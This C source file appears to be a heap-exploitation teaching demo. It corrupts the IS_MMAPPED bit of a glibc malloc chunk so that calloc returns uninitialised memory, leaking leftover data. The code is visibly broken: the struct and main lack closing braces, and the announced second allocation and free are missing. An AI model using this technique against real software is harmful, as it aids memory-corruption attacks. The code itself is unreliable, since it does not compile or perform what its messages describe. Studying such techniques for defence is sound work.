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#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
typedef size_t INTERNAL_SIZE_T;
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
typedef struct malloc_chunk* mchunkptr;
int main(int argc, const char* argv[]) {
void *mem = malloc(0x100);
mchunkptr chunk = (mchunkptr)((char*)mem - offsetof(struct malloc_chunk, fd));
printf("allocated victim chunk with requested size 0x100, " \
"victim->size == 0x%zx\n", chunk->size);
printf("allocated another chunk to prevent victim from being " \
"coalesced into top\n");
printf("freeing victim chunk\n");
printf("emulating corruption of the IS_MMAPPED bit of victim->size\n");
chunk->size = chunk->size | IS_MMAPPED;
printf("making a calloc request for an exact size match\n");
size_t *calloced = calloc(0x100, 1);
printf("the first 2 qwords of the returned region:\n0x%zx 0x%zx\n",
calloced[0], calloced[1]);
return 0;